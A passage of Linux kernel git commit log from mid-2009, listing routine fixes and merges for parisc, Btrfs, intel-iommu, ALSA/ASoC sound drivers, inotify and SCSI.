    produces error like this:
    
    net/phonet/pep.c: In function 'pipe_rcv_status':
    net/phonet/pep.c:262: error: lvalue required as left operand of assignment
    
    The patch removes this superfluous casts.
    
    Signed-off-by: Bastian Blank <waldi@debian.org>
    Signed-off-by: Kyle McMartin <kyle@mcmartin.ca>

commit 071327ec9005e9a826d088d37021ed2c88e683f7
Author: Alexander Beregalov <a.beregalov@gmail.com>
Date:   Fri Apr 3 01:49:22 2009 +0000

    parisc: remove CVS keywords
    
    Signed-off-by: Alexander Beregalov <a.beregalov@gmail.com>
    Acked-by: Matthew Wilcox <willy@linux.intel.com>
    Acked-by: Grant Grundler <grundler@parisc-linux.org>
    Signed-off-by: Kyle McMartin <kyle@mcmartin.ca>

commit 8d2d00ddeff2c2d1164d96e2d1b53e45ceb528c8
Author: Alexander Beregalov <a.beregalov@gmail.com>
Date:   Fri Apr 3 12:08:54 2009 +0000

    parisc: ccio-dma: fix build failure without procfs
    
    Fix this build error when CONFIG_PROC_FS is not set:
    drivers/parisc/ccio-dma.c:1574: error: 'ccio_proc_info_fops' undeclared
    
    Signed-off-by: Alexander Beregalov <a.beregalov@gmail.com>
    Signed-off-by: Kyle McMartin <kyle@mcmartin.ca>

commit 17085a934592585bd878884dee04b850a367be10
Author: Alexander Beregalov <a.beregalov@gmail.com>
Date:   Fri Apr 3 13:33:32 2009 +0000

    parisc: stifb: should depend on STI_CONSOLE
    
    Fix this build error when CONFIG_STI_CONSOLE is not set
    drivers/video/stifb.c:1337: undefined reference to `sti_get_rom'
    
    Signed-off-by: Alexander Beregalov <a.beregalov@gmail.com>
    Signed-off-by: Kyle McMartin <kyle@mcmartin.ca>

commit 90eab5e09de20e8d991bbb11f6edfb573f906352
Author: Kyle McMartin <kyle@mcmartin.ca>
Date:   Mon Apr 27 08:29:12 2009 -0400

    parisc: wire up preadv/pwritev syscalls
    
    Generic compat handlers look appropriate, so use those.
    
    Signed-off-by: Kyle McMartin <kyle@mcmartin.ca>

commit 746a99a5af60ee676afa2ba469ccd1373493c7e7
Merge: 5291a12f0503e31e0b8e90ee8e4997d59c1c3aad bdae997f44535ac4ebe1e055ffe59eeee946f453
Author: Linus Torvalds <torvalds@linux-foundation.org>
Date:   Thu Jul 2 16:54:07 2009 -0700

    Merge branch 'for-linus' of git://git.infradead.org/users/eparis/notify
    
    * 'for-linus' of git://git.infradead.org/users/eparis/notify:
      fs/notify/inotify: decrement user inotify count on close

commit 5291a12f0503e31e0b8e90ee8e4997d59c1c3aad
Merge: c7cba0623fc17fe766063d492810632366790763 68f5a38c3ea4ae9cc7a40f86ff6d6d031583d93a
Author: Linus Torvalds <torvalds@linux-foundation.org>
Date:   Thu Jul 2 16:52:38 2009 -0700

    Merge git://git.kernel.org/pub/scm/linux/kernel/git/mason/btrfs-unstable
    
    * git://git.kernel.org/pub/scm/linux/kernel/git/mason/btrfs-unstable:
      Btrfs: fix error message formatting
      Btrfs: fix use after free in btrfs_start_workers fail path
      Btrfs: honor nodatacow/sum mount options for new files
      Btrfs: update backrefs while dropping snapshot
      Btrfs: account for space we may use in fallocate
      Btrfs: fix the file clone ioctl for preallocated extents
      Btrfs: don't log the inode in file_write while growing the file

commit c7cba0623fc17fe766063d492810632366790763
Merge: 405d7ca51597645f3be850574d6c10f01be11e8d a222ad1a4b2e3ca177a538482c99c519c1ce94d1
Author: Linus Torvalds <torvalds@linux-foundation.org>
Date:   Thu Jul 2 16:52:25 2009 -0700

    Merge git://git.kernel.org/pub/scm/linux/kernel/git/jejb/scsi-rc-fixes-2.6
    
    * git://git.kernel.org/pub/scm/linux/kernel/git/jejb/scsi-rc-fixes-2.6:
      [SCSI] cxgb3i: fix connection error when vlan is enabled
      [SCSI] FC transport: Locking fix for common-code FC pass-through patch
      [SCSI] zalon: fix oops on attach failure
      [SCSI] fnic: use DMA_BIT_MASK(nn) instead of deprecated DMA_nnBIT_MASK
      [SCSI] fnic: remove redundant BUG_ONs and fix checks on unsigned
      [SCSI] ibmvscsi: Fix module load hang

commit 405d7ca51597645f3be850574d6c10f01be11e8d
Merge: 7c5371c403abb29f01bc6cff6c5096abdf2dc524 6a43e574c5af7d9bd084992b1c9c3cdbc3b6c0e9
Author: Linus Torvalds <torvalds@linux-foundation.org>
Date:   Thu Jul 2 16:51:09 2009 -0700

    Merge git://git.infradead.org/iommu-2.6
    
    * git://git.infradead.org/iommu-2.6: (38 commits)
      intel-iommu: Don't keep freeing page zero in dma_pte_free_pagetable()
      intel-iommu: Introduce first_pte_in_page() to simplify PTE-setting loops
      intel-iommu: Use cmpxchg64_local() for setting PTEs
      intel-iommu: Warn about unmatched unmap requests
      intel-iommu: Kill superfluous mapping_lock
      intel-iommu: Ensure that PTE writes are 64-bit atomic, even on i386
      intel-iommu: Make iommu=pt work on i386 too
      intel-iommu: Performance improvement for dma_pte_free_pagetable()
      intel-iommu: Don't free too much in dma_pte_free_pagetable()
      intel-iommu: dump mappings but don't die on pte already set
      intel-iommu: Combine domain_pfn_mapping() and domain_sg_mapping()
      intel-iommu: Introduce domain_sg_mapping() to speed up intel_map_sg()
      intel-iommu: Simplify __intel_alloc_iova()
      intel-iommu: Performance improvement for domain_pfn_mapping()
      intel-iommu: Performance improvement for dma_pte_clear_range()
      intel-iommu: Clean up iommu_domain_identity_map()
      intel-iommu: Remove last use of PHYSICAL_PAGE_MASK, for reserving PCI BARs
      intel-iommu: Make iommu_flush_iotlb_psi() take pfn as argument
      intel-iommu: Change aligned_size() to aligned_nrpages()
      intel-iommu: Clean up intel_map_sg(), remove domain_page_mapping()
      ...

commit 68f5a38c3ea4ae9cc7a40f86ff6d6d031583d93a
Author: Hu Tao <cnhutao@gmail.com>
Date:   Thu Jul 2 13:55:45 2009 -0400

    Btrfs: fix error message formatting
    
    Make an error msg look nicer by inserting a space between number and word.
    
    Signed-off-by: Hu Tao <hu.taoo@gmail.com>
    Signed-off-by: Jiri Kosina <jkosina@suse.cz>
    Signed-off-by: Chris Mason <chris.mason@oracle.com>

commit 9b627e9bf49ebfeb060dfae0435bdba06cf27cb8
Author: Jiri Slaby <jirislaby@gmail.com>
Date:   Thu Jul 2 13:50:58 2009 -0400

    Btrfs: fix use after free in btrfs_start_workers fail path
    
    worker memory is already freed on one fail path in btrfs_start_workers,
    but is still dereferenced. Switch the dereference and kfree.
    
    Signed-off-by: Jiri Slaby <jirislaby@gmail.com>
    Signed-off-by: Chris Mason <chris.mason@oracle.com>

commit 9427216476d4fa75103f39d4b228c47d56ba20da
Author: Chris Mason <chris.mason@oracle.com>
Date:   Thu Jul 2 12:26:06 2009 -0400

    Btrfs: honor nodatacow/sum mount options for new files
    
    The btrfs attr patches unconditionally inherited the inode flags field
    without honoring nodatacow and nodatasum.  This fix makes sure
    we properly record the nodatacow/sum mount options in new inodes.
    
    Signed-off-by: Chris Mason <chris.mason@oracle.com>

commit 2c47e605a91dde6b0514f689645e7ab336c8592a
Author: Yan Zheng <zheng.yan@oracle.com>
Date:   Sat Jun 27 21:07:35 2009 -0400

    Btrfs: update backrefs while dropping snapshot
    
    The new backref format has restriction on type of backref item.  If a tree
    block isn't referenced by its owner tree, full backrefs must be used for the
    pointers in it. When a tree block loses its owner tree's reference, backrefs
    for the pointers in it should be updated to full backrefs. Current
    btrfs_drop_snapshot misses the code that updates backrefs, so it's unsafe for
    general use.
    
    This patch adds backrefs update code to btrfs_drop_snapshot.  It isn't a
    problem in the restricted form btrfs_drop_snapshot is used today, but for
    general snapshot deletion this update is required.
    
    Signed-off-by: Yan Zheng <zheng.yan@oracle.com>
    Signed-off-by: Chris Mason <chris.mason@oracle.com>

commit a970b0a16cc416a509d5ae8b1d70978664e6f4fe
Author: Josef Bacik <jbacik@redhat.com>
Date:   Sat Jun 27 21:07:34 2009 -0400

    Btrfs: account for space we may use in fallocate
    
    Using Eric Sandeen's xfstest for fallocate, you can easily trigger a ENOSPC
    panic on btrfs.  This is because we do not account for data we may use when
    doing the fallocate.  This patch fixes the problem by properly reserving space,
    and then just freeing it when we are done.  The reservation stuff was made with
    delalloc in mind, so its a little crude for this case, but it keeps the box
    from panicing.
    
    Signed-off-by: Josef Bacik <jbacik@redhat.com>
    Signed-off-by: Chris Mason <chris.mason@oracle.com>

commit c8a894d77de4a1e0a544577fd4eabc9aacd453a8
Author: Chris Mason <chris.mason@oracle.com>
Date:   Sat Jun 27 21:07:03 2009 -0400

    Btrfs: fix the file clone ioctl for preallocated extents

commit f597bb19ccd034cbcf05e1194238e2c8d9505a8a
Author: Chris Mason <chris.mason@oracle.com>
Date:   Sat Jun 27 21:06:22 2009 -0400

    Btrfs: don't log the inode in file_write while growing the file

commit dbe45d0ce394732cc06187e929697fc0fb16aa53
Merge: 4413c8d2be530d7310feaceaae28350b316b2068 826390796d09444b93e1f957582f8970ddfd9b3d
Author: Takashi Iwai <tiwai@suse.de>
Date:   Thu Jul 2 17:48:34 2009 +0200

    Merge branch 'fix/oxygen' into for-linus
    
    * fix/oxygen:
      sound: virtuoso: fix Xonar D1/DX silence after resume

commit 4413c8d2be530d7310feaceaae28350b316b2068
Merge: cfbc78003e2b12e60a1d594ce192c30aea44eb2a ff84847171508a3c76eb7e483204d1be7738729b
Author: Takashi Iwai <tiwai@suse.de>
Date:   Thu Jul 2 17:48:33 2009 +0200

    Merge branch 'fix/hda' into for-linus
    
    * fix/hda:
      ALSA: hda - Add quirk for HP 6930p
      ALSA: hda - Add missing static to patch_ca0110()

commit cfbc78003e2b12e60a1d594ce192c30aea44eb2a
Merge: dc8a4f3fc3c32954c9fd46cb027b959380be2d65 3f5d3465be8f6e04f43d9b6d543fe28d4be07d78
Author: Takashi Iwai <tiwai@suse.de>
Date:   Thu Jul 2 17:48:32 2009 +0200

    Merge branch 'fix/caiaq' into for-linus
    
    * fix/caiaq:
      ALSA: usx2y - reparent sound device
      ALSA: snd_usb_caiaq: reparent sound device

commit dc8a4f3fc3c32954c9fd46cb027b959380be2d65
Merge: 9ea5ca75a2aebb7172094a7d77acf6ff7600cc56 da9ff1f796e81976935407251815838bef9868d4
Author: Takashi Iwai <tiwai@suse.de>
Date:   Thu Jul 2 17:48:31 2009 +0200

    Merge branch 'fix/asoc' into for-linus
    
    * fix/asoc:
      ASoC: Only disable pxa2xx-i2s clocks if we enabled them
      ASoC: OMAP: fix OMAP1510 broken PCM pointer callback
      ASoC: remove BROKEN from Efika and pcm030 fabric drivers
      ASoC: Fix typo in MPC5200 PSC AC97 driver Kconfig

commit bdae997f44535ac4ebe1e055ffe59eeee946f453
Author: Keith Packard <keithp@keithp.com>
Date:   Wed Jul 1 21:56:38 2009 -0700

    fs/notify/inotify: decrement user inotify count on close
    
    The per-user inotify_devs value is incremented each time a new file is
    allocated, but never decremented. This led to inotify_init failing after a
    limited number of calls.
    
    Signed-off-by: Keith Packard <keithp@keithp.com>
    Signed-off-by: Eric Paris <eparis@redhat.com>

commit 6a43e574c5af7d9bd084992b1c9c3cdbc3b6c0e9
Author: David Woodhouse <David.Woodhouse@intel.com>
Date:   Thu Jul 2 12:02:34 2009 +0100

    intel-iommu: Don't keep freeing page zero in dma_pte_free_pagetable()
    
    Check dma_pte_present() and only free the page if there _is_ one.
    Kind of surprising that there was no warning about this.
    
    Signed-off-by: David Woodhouse <David.Woodhouse@intel.com>

commit 75e6bf9638992dfc0fec9c3ca10444c8e0d6a638
Author: David Woodhouse <David.Woodhouse@intel.com>
Date:   Thu Jul 2 11:21:16 2009 +0100

    intel-iommu: Introduce first_pte_in_page() to simplify PTE-setting loops
    
    On Wed, 2009-07-01 at 16:59 -0700, Linus Torvalds wrote:
    > I also _really_ hate how you do
    >
    >         (unsigned long)pte >> VTD_PAGE_SHIFT ==
    >         (unsigned long)first_pte >> VTD_PAGE_SHIFT
    
    Kill this, in favour of just looking to see if the incremented pte
    pointer has 'wrapped' onto the next page. Which means we have to check
    it _after_ incrementing it, not before.
    
    Signed-off-by: David Woodhouse <David.Woodhouse@intel.com>

commit 3f5d3465be8f6e04f43d9b6d543fe28d4be07d78
Author: Takashi Iwai <tiwai@suse.de>
Date:   Thu Jul 2 11:51:44 2009 +0200

    ALSA: usx2y - reparent sound device
    
    Fix the parent device to be the USB interface, not the USB device.
    A similiar commit like 563c2bf59d392357bcc1d99642933cc88c687964.
    
    Signed-off-by: Takashi Iwai <tiwai@suse.de>

commit 563c2bf59d392357bcc1d99642933cc88c687964
Author: Daniel Mack <daniel@caiaq.de>
Date:   Thu Jul 2 10:46:35 2009 +0200

    ALSA: snd_usb_caiaq: reparent sound device
    
    The sound device instance needs to be a child of the USB interface, not
    the USB device. Newer udev versions pay attention to that.
    
    Signed-off-by: Daniel Mack <daniel@caiaq.de>
    Reported-by: Lennart Poettering <lennart@poettering.net>
    Signed-off-by: Takashi Iwai <tiwai@suse.de>

commit 826390796d09444b93e1f957582f8970ddfd9b3d
Author: Clemens Ladisch <clemens@ladisch.de>
Date:   Thu Jul 2 08:31:30 2009 +0200

    sound: virtuoso: fix Xonar D1/DX silence after resume
    
    When resuming, we better take the DACs out of the reset state before
    trying to use them.
    
    Reference: kernel bug #13599
    	http://bugzilla.kernel.org/show_bug.cgi?id=13599
    
    Signed-off-by: Clemens Ladisch <clemens@ladisch.de>
    Cc: <stable@kernel.org>
    Signed-off-by: Takashi Iwai <tiwai@suse.de>

commit 7766a3fb905f0b078b05f5d6a6be8df4c64b9f51
Author: David Woodhouse <David.Woodhouse@intel.com>
Date:   Wed Jul 1 20:27:03 2009 +0100

    intel-iommu: Use cmpxchg64_local() for setting PTEs
    
    Signed-off-by: David Woodhouse <David.Woodhouse@intel.com>

commit 85b98276f2ffa66b25ae6328b00bfadfd74b74e7
Author: David Woodhouse <David.Woodhouse@intel.com>
Date:   Wed Jul 1 19:27:53 2009 +0100

    intel-iommu: Warn about unmatched unmap requests
    
    This would have found the bug in i386 pci_unmap_addr() a long time ago.
    We shouldn't just silently return without doing anything.
    
    Signed-off-by: David Woodhouse <David.Woodhouse@intel.com>

commit 206a73c102fc480ba072a9388bc2142c303113aa
Author: David Woodhouse <David.Woodhouse@intel.com>
Date:   Wed Jul 1 19:30:28 2009 +0100

    intel-iommu: Kill superfluous mapping_lock
    
    Since we're using cmpxchg64() anyway (because that's the only way to do
    an atomic 64-bit store on i386), we might as well ditch the extra
    locking and just use cmpxchg64() to ensure that we don't add the page
    twice.
    
    Signed-off-by: David Woodhouse <David.Woodhouse@intel.com>

commit c85994e4771025ef2a66533eb1a4c6c2217b9cda
Author: David Woodhouse <David.Woodhouse@intel.com>
Date:   Wed Jul 1 19:21:24 2009 +0100

    intel-iommu: Ensure that PTE writes are 64-bit atomic, even on i386
    
    Signed-off-by: David Woodhouse <David.Woodhouse@intel.com>

commit 3238c0c4d68d9a9022b411a11a4b933fbdb53a14
Author: David Woodhouse <David.Woodhouse@intel.com>
Date:   Wed Jul 1 18:56:16 2009 +0100

    intel-iommu: Make iommu=pt work on i386 too
    
    Signed-off-by: David Woodhouse <David.Woodhouse@intel.com>

commit da9ff1f796e81976935407251815838bef9868d4
Author: Mark Brown <broonie@opensource.wolfsonmicro.com>
Date:   Wed Jul 1 18:23:26 2009 +0100

    ASoC: Only disable pxa2xx-i2s clocks if we enabled them
    
    The clock API can't cope with unbalanced enables and disables and
    we only enable in hw_params() but try to disable in shutdown.
    
    Signed-off-by: Mark Brown <broonie@opensource.wolfsonmicro.com>

commit ff84847171508a3c76eb7e483204d1be7738729b
Author: Takashi Iwai <tiwai@suse.de>
Date:   Wed Jul 1 18:08:01 2009 +0200

    ALSA: hda - Add quirk for HP 6930p
    
    Added a quirk model=laptop for HP 6930p (103c:30dc) with AD1984A codec.
    
    Signed-off-by: Takashi Iwai <tiwai@suse.de>

commit 1e1689536f346a431b748dc8ad9ac0828d2c065d
Author: Takashi Iwai <tiwai@suse.de>
Date:   Wed Jul 1 08:34:32 2009 +0200

    ALSA: hda - Add missing static to patch_ca0110()
    
    Signed-off-by: Takashi Iwai <tiwai@suse.de>

commit 1bdd7419910c1506151e7b9e2d60c6980e015f76
Author: Janusz Krzysztofik <jkrzyszt@tis.icnet.pl>
Date:   Sun Jun 28 00:21:05 2009 +0200

    ASoC: OMAP: fix OMAP1510 broken PCM pointer callback
    
    This patch tries to work around the problem of broken OMAP1510 PCM playback
    pointer calculation by replacing DMA function call that incorrectly tries to
    read the value form DMA hardware with a value computed locally from an
    already maintained variable omap_runtime_data.period_index.
    
    Tested on OMAP5910 based Amstrad Delta (E3) using work in progress ASoC
    driver.
    
    Based on linux-2.6-asoc.git v2.6.31-rc1.
    
    Signed-off-by: Janusz Krzysztofik <jkrzyszt@tis.icnet.pl>
    Acked-by: Jarkko Nikula <jhnikula@gmail.com>
    Acked-by: Peter Ujfalusi <peter.ujfalusi@nokia.com>
    Signed-off-by: Mark Brown <broonie@opensource.wolfsonmicro.com>

commit 40d9ec14e7e1f62d2379ecc1b5ee00ddfc2a5d0c
Author: Grant Likely <grant.likely@secretlab.ca>
Date:   Sun Jun 28 01:42:06 2009 -0600

    ASoC: remove BROKEN from Efika and pcm030 fabric drivers
    
    The needed spin_event_timeout() macro is now merged in from the
    powerpc tree, so these drivers are no longer broken.  This reverts
    commit 0c0e09e21a9e7bc6ca54e06ef3d497255ca26383 (ASoC: Mark MPC5200
    AC97 as BROKEN until PowerPC merge issues are resolved)
    
    Tested against 2.6.31-rc1.
    
    Signed-off-by: Grant Likely <grant.likely@secretlab.ca>
    Acked-by: Jon Smirl <jonsmirl@gmail.com>
    Signed-off-by: Mark Brown <broonie@opensource.wolfsonmicro.com>

commit 6a84c234da06a4ac0c1b4c819b83cf264674c2d8
Author: Grant Likely <grant.likely@secretlab.ca>
Date:   Sun Jun 28 01:41:52 2009 -0600

    ASoC: Fix typo in MPC5200 PSC AC97 driver Kconfig
    
    ALSA SoC drivers should be specify SND_SOC_AC97_BUS instead, not AC97_BUS.
    Without SND_SOC_AC97_BUS defined, an AC97 device will not get correctly
    registered on the AC97 bus, which prevents thinks like the WM9712
    touchscreen driver from getting probed.
    
    Tested against 2.6.31-rc1.
    
    Signed-off-by: Grant Likely <grant.likely@secretlab.ca>
    Acked-by: Jon Smirl <jonsmirl@gmail.com>
    Signed-off-by: Mark Brown <broonie@opensource.wolfsonmicro.com>

commit f3a0a52fff4dbfdea2dccc908d00c038481d888e
Author: David Woodhouse <David.Woodhouse@intel.com>
Date:   Tue Jun 30 03:40:07 2009 +0100

    intel-iommu: Performance improvement for dma_pte_free_pagetable()
    
    As with other functions, batch the CPU data cache flushes and don't keep
    recalculating PTE addresses.
    
    Signed-off-by: David Woodhouse <David.Woodhouse@intel.com>

commit 3d7b0e4154b4963d6bd39991ec8eaa09caeb3994
Author: David Woodhouse <David.Woodhouse@intel.com>
Date:   Tue Jun 30 03:38:09 2009 +0100

    intel-iommu: Don't free too much in dma_pte_free_pagetable()
    
    The loop condition was wrong -- we should free a PMD only if its
    _entire_ range is within the range we're intending to clear. The
    early-termination condition was right, but not the loop.
    
    Signed-off-by: David Woodhouse <David.Woodhouse@intel.com>

commit 1bf20f0dc5629032ddd07617139d9fbca66c1642
Author: David Woodhouse <David.Woodhouse@intel.com>
Date:   Mon Jun 29 22:06:43 2009 +0100

    intel-iommu: dump mappings but don't die on pte already set
    
    Signed-off-by: David Woodhouse <David.Woodhouse@intel.com>

commit 9051aa0268dc1c3e42cd79a802b0af1f2bfcadae
Author: David Woodhouse <David.Woodhouse@intel.com>
Date:   Mon Jun 29 12:30:54 2009 +0100

    intel-iommu: Combine domain_pfn_mapping() and domain_sg_mapping()
    
    Signed-off-by: David Woodhouse <David.Woodhouse@intel.com>

commit e1605495c716ef4eebdb7606bcd1b593f28e2837
Author: David Woodhouse <David.Woodhouse@intel.com>
Date:   Mon Jun 29 11:17:38 2009 +0100

    intel-iommu: Introduce domain_sg_mapping() to speed up intel_map_sg()
    
    Instead of calling domain_pfn_mapping() repeatedly with single or
    small numbers of pages, just pass the sglist in. It can optimise the
    number of cache flushes like domain_pfn_mapping() does, and gives a huge
    speedup for large scatterlists.
    
    Signed-off-by: David Woodhouse <David.Woodhouse@intel.com>

commit 875764de6f0ddb23d270c29357d5a339232a0488
Author: David Woodhouse <David.Woodhouse@intel.com>
Date:   Sun Jun 28 21:20:51 2009 +0100

    intel-iommu: Simplify __intel_alloc_iova()
    
    There's no need for the separate iommu_alloc_iova() function, and
    certainly not for it to be global. Remove the underscores while we're at
    it.
    
    Signed-off-by: David Woodhouse <David.Woodhouse@intel.com>

commit 6f6a00e40aa3fdd3b29c30e3ef1fc9690506bc03
Author: David Woodhouse <David.Woodhouse@intel.com>
Date:   Sun Jun 28 20:38:49 2009 +0100

    intel-iommu: Performance improvement for domain_pfn_mapping()
    
    As with dma_pte_clear_range(), don't keep flushing a single PTE at a
    time. And also micro-optimise the setting of PTE values rather than
    using the helper functions to do all the masking.
    
    Signed-off-by: David Woodhouse <David.Woodhouse@intel.com>

commit 310a5ab93cb4ce29367238f682affd9ac352f4d0
Author: David Woodhouse <David.Woodhouse@intel.com>
Date:   Sun Jun 28 18:52:20 2009 +0100

    intel-iommu: Performance improvement for dma_pte_clear_range()
    
    It's a bit silly to repeatedly call domain_flush_cache() for each PTE
    individually, as we clear it. Instead, batch them up and flush a whole
    range at a time. We might as well refrain from recalculating the PTE
    address from scratch each time round the loop too.
    
    Signed-off-by: David Woodhouse <David.Woodhouse@intel.com>

commit c5395d5c4a82159889cb650de93b591ea51d8c56
Author: David Woodhouse <David.Woodhouse@intel.com>
Date:   Sun Jun 28 16:35:56 2009 +0100

    intel-iommu: Clean up iommu_domain_identity_map()
    
    Signed-off-by: David Woodhouse <David.Woodhouse@intel.com>

commit 1a4a45516d7a57de0691352d899d7008f2e090d1
Author: David Woodhouse <David.Woodhouse@intel.com>
Date:   Sun Jun 28 16:00:42 2009 +0100

    intel-iommu: Remove last use of PHYSICAL_PAGE_MASK, for reserving PCI BARs
    
    This is fairly broken anyway -- it doesn't take hotplug into account.
    We should probably be checking page_is_ram() instead.
    
    Signed-off-by: David Woodhouse <David.Woodhouse@intel.com>

commit 03d6a2461ab1704c171ce21081c5022378ef7a91
Author: David Woodhouse <David.Woodhouse@intel.com>
Date:   Sun Jun 28 15:33:46 2009 +0100

    intel-iommu: Make iommu_flush_iotlb_psi() take pfn as argument
    
    Most of its callers are having to shift for themselves anyway, so we might
    as well do it in iommu_flush_iotlb_psi().
    
    Signed-off-by: David Woodhouse <David.Woodhouse@intel.com>

commit 88cb6a7424d9465faf6caaaadff5af0766c93991
Author: David Woodhouse <David.Woodhouse@intel.com>
Date:   Sun Jun 28 15:03:06 2009 +0100

    intel-iommu: Change aligned_size() to aligned_nrpages()
    
    Signed-off-by: David Woodhouse <David.Woodhouse@intel.com>

commit b536d24d212c994a7d98469ea3a8891573d45fd4
Author: David Woodhouse <David.Woodhouse@intel.com>
Date:   Sun Jun 28 14:49:31 2009 +0100

    intel-iommu: Clean up intel_map_sg(), remove domain_page_mapping()
    
    Signed-off-by: David Woodhouse <David.Woodhouse@intel.com>

commit ad05122162b67f64d5a1c6d35e001f7a88619b88
Author: David Woodhouse <David.Woodhouse@intel.com>
Date:   Sun Jun 28 14:22:28 2009 +0100

    intel-iommu: Use domain_pfn_mapping() in intel_iommu_map_range()
    
    Signed-off-by: David Woodhouse <David.Woodhouse@intel.com>

commit 0ab36de274ab094c3992b50c9c48c5c89072ec94
Author: David Woodhouse <David.Woodhouse@intel.com>
Date:   Sun Jun 28 14:01:43 2009 +0100

    intel-iommu: Use domain_pfn_mapping() in __intel_map_single()
    
    Signed-off-by: David Woodhouse <David.Woodhouse@intel.com>

commit 61df744314079e8cb8cdec75f517cf0e704e41ef
Author: David Woodhouse <David.Woodhouse@intel.com>
Date:   Sun Jun 28 11:55:58 2009 +0100

    intel-iommu: Introduce domain_pfn_mapping()
    
    ... and use it in the trivial cases; the other callers want individual
    (and bisectable) attention, since I screwed them up the first time...
    
    Make the BUG_ON() happen on too-large virtual address rather than
    physical address, too. That's the one we care about.
    
    Signed-off-by: David Woodhouse <David.Woodhouse@intel.com>

commit 1c5a46ed49e37f56f8aa9000bb1c2ac59670c372
Author: David Woodhouse <David.Woodhouse@intel.com>
Date:   Sun Jun 28 10:53:37 2009 +0100

    intel-iommu: Clean up address handling in domain_page_mapping()
    
    No more masking and alignment; just use pfns.
    
    Signed-off-by: David Woodhouse <David.Woodhouse@intel.com>

commit b026fd28ea23af24a3eea6e5be3f3d0193a8e87d
Author: David Woodhouse <David.Woodhouse@intel.com>
Date:   Sun Jun 28 10:37:25 2009 +0100

    intel-iommu: Change addr_to_dma_pte() to pfn_to_dma_pte()
    
    Signed-off-by: David Woodhouse <David.Woodhouse@intel.com>

commit 163cc52ccd2cc5c5ae4e1c886f6fde8547feed2a
Author: David Woodhouse <David.Woodhouse@intel.com>
Date:   Sun Jun 28 00:51:17 2009 +0100

    intel-iommu: Clean up intel_iommu_unmap_range()
    
    Use unaligned address for domain->max_addr. That algorithm isn't ideal
    anyway -- we should probably just look at the last iova in the tree.
    
    Signed-off-by: David Woodhouse <David.Woodhouse@intel.com>

commit d794dc9b302c2781c571c10dedb8094e223d31b8
Author: David Woodhouse <David.Woodhouse@intel.com>
Date:   Sun Jun 28 00:27:49 2009 +0100

    intel-iommu: Make dma_pte_free_pagetable() take pfns as argument
    
    With some cleanup of intel_unmap_page(), intel_unmap_sg() and
    vm_domain_exit() to no longer play with 64-bit addresses.
    
    Signed-off-by: David Woodhouse <David.Woodhouse@intel.com>

commit 6660c63a79a639b86e3a709e25a8c4fc3ab24770
Author: David Woodhouse <David.Woodhouse@intel.com>
Date:   Sat Jun 27 22:41:00 2009 +0100

    intel-iommu: Make dma_pte_free_pagetable() use pfns
    
    Signed-off-by: David Woodhouse <David.Woodhouse@intel.com>

commit 595badf5d65d50300319e6178e6df005ea501f70
Author: David Woodhouse <David.Woodhouse@intel.com>
Date:   Sat Jun 27 22:09:11 2009 +0100

    intel-iommu: Make dma_pte_clear_range() take pfns as argument
    
    Noting that this is now an _inclusive_ range.
    
    Signed-off-by: David Woodhouse <David.Woodhouse@intel.com>

commit 04b18e65dd5a3e544f07f4bcfa8fb52704a1833b
Author: David Woodhouse <David.Woodhouse@intel.com>
Date:   Sat Jun 27 19:15:01 2009 +0100

    intel-iommu: Make dma_pte_clear_range() use pfns
    
    Signed-off-by: David Woodhouse <David.Woodhouse@intel.com>

commit 66eae8469e4e4ba6f4ca7ef82103c78f6d645583
Author: David Woodhouse <David.Woodhouse@intel.com>
Date:   Sat Jun 27 19:00:32 2009 +0100

    intel-iommu: Don't just mask out too-big physical addresses; BUG() instead
    
    Signed-off-by: David Woodhouse <David.Woodhouse@intel.com>

commit a75f7cf94f01717c5103138319b96752ee2a2be9
Author: David Woodhouse <David.Woodhouse@intel.com>
Date:   Sat Jun 27 17:44:39 2009 +0100

    intel-iommu: Make dma_pte_clear_one() take pfn not address
    
    Signed-off-by: David Woodhouse <David.Woodhouse@intel.com>

commit 90dcfb5eb2fd427b16135a14f176a6902750b6b4
Author: David Woodhouse <David.Woodhouse@intel.com>
Date:   Sat Jun 27 17:14:59 2009 +0100

    intel-iommu: Change dma_addr_level_pte() to dma_pfn_level_pte()
    
    Signed-off-by: David Woodhouse <David.Woodhouse@intel.com>

commit 77dfa56c94d2855a25ff552b74980a5538e129f8
Author: David Woodhouse <David.Woodhouse@intel.com>
Date:   Sat Jun 27 16:40:08 2009 +0100

    intel-iommu: Change address_level_offset() to pfn_level_offset()
    
    We're shifting the inputs for now, but that'll change...
    
    Signed-off-by: David Woodhouse <David.Woodhouse@intel.com>

commit dd4e831960e4f0214480fa96a53ca9bb7dd04927
Author: David Woodhouse <David.Woodhouse@intel.com>
Date:   Sat Jun 27 16:21:20 2009 +0100

    intel-iommu: Change dma_set_pte_addr() to dma_set_pte_pfn()
    
    Add some helpers for converting between VT-d and normal system pfns,
    since system pages can be larger than VT-d pages.
    
    Signed-off-by: David Woodhouse <David.Woodhouse@intel.com>

commit c7ab48d2acaf959e4d59c3f55d12fdb7ca9afd7c
Author: David Woodhouse <David.Woodhouse@intel.com>
Date:   Fri Jun 26 19:10:36 2009 +0100

    intel-iommu: Clean up identity mapping code, remove CONFIG_DMAR_GFX_WA
    
    There's no need for the GFX workaround now we have 'iommu=pt' for the
    cases where people really care about performance. There's no need to
    have a special case for just one type of device.
    
    This also speeds up the iommu=pt path and reduces memory usage by
    setting up the si_domain _once_ and then using it for all devices,
    rather than giving each device its own private page tables.
    
    Signed-off-by: David Woodhouse <David.Woodhouse@intel.com>

commit b213203e475212a69ad6fedfb73464087e317148
Author: David Woodhouse <David.Woodhouse@intel.com>
Date:   Fri Jun 26 18:50:28 2009 +0100

    intel-iommu: Create new iommu_domain_identity_map() function
    
    We'll want to do this to a _domain_ (the si_domain) rather than a PCI device.
    
    Signed-off-by: David Woodhouse <David.Woodhouse@intel.com>

commit bf92df30df909710c498d05620e2df1be1ef779b
Author: Yu Zhao <yu.zhao@intel.com>
Date:   Mon Jun 29 11:31:45 2009 +0800

    intel-iommu: Only avoid flushing device IOTLB for domain ID 0 in caching mode
    
    In caching mode, domain ID 0 is reserved for non-present to present
    mapping flush. Device IOTLB doesn't need to be flushed in this case.
    
    Previously we were avoiding the flush for domain zero, even if the IOMMU
    wasn't in caching mode and domain zero wasn't special.
    
    Signed-off-by: Yu Zhao <yu.zhao@intel.com>
    Signed-off-by: David Woodhouse <David.Woodhouse@intel.com>

commit a222ad1a4b2e3ca177a538482c99c519c1ce94d1
Author: Karen Xie <kxie@chelsio.com>
Date:   Fri Jun 26 15:17:29 2009 -0700

    [SCSI] cxgb3i: fix connection error when vlan is enabled
    
    There is a bug when VLAN is configured on the cxgb3 interface, the iscsi
